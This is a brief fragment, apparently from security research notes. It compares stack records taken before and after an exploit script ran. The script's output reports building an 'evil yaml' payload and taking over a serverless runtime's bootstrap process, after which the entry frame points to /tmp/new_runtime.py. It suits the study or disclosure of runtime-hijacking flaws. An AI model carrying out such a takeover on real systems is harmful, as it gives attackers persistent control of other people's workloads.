stack_compare

{
    "stack_hash": "2f74ab12d499b7e418d71593dcd1eff56c81a764ec44a2e01a675066bf303047",
    "entry_frame": {
        "filename": "/var/runtime/bootstrap.py",
        "code_context": [
            "    main()\n"
        ]
    }
}

----

./exploit.sh ...
[+] Creating evil yaml with payload 'switch_runtime.py' and data 'exploit.tmp'
[+] Done, evil yaml at evil_yaml
{"Output": "Successfully took over the bootstrap runtime"}

{
    "stack_hash": "f4b8dce5b956c946d28337b126afb0454f5f84ecc78ccf869cd5bc717081b0fa",
    "entry_frame": {
        "filename": "/tmp/new_runtime.py",
        "code_context": [
            "    main()\n"
        ]
    }
}